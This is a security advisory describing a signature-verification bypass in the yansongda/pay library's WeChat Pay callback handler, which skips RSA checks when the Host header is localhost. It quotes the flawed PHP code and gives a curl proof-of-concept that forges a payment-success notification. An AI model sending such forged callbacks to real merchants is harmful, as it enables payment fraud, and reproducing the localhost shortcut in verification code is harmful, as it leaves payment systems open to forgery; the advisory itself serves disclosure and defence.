WeChat Pay callback signature verification bypassed when Host header is localhost

Summary

The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.

This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.

Vulnerable Code

src/Functions.php lines 243-246:

function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
    // BYPASS: Returns without any signature check if Host header is localhost
    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
        return;  // No signature verified!
    }

    // ... openssl_verify() only reached when Host != localhost
    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
    $sign = $message->getHeaderLine('Wechatpay-Signature');
    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}

In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.

Proof of Concept

curl -X POST https://merchant.example.com/payment/wechat/callback \
  -H "Host: localhost" \
  -H "Content-Type: application/json" \
  -H "Wechatpay-Serial: any" \
  -H "Wechatpay-Timestamp: 1234567890" \
  -H "Wechatpay-Nonce: abc" \
  -H "Wechatpay-Signature: AAAA" \
  -d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'

verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.

Impact

• Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
• No authentication required: Pure network attack, zero privileges needed
• Wide reach: Affects any application using yansongda/pay for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.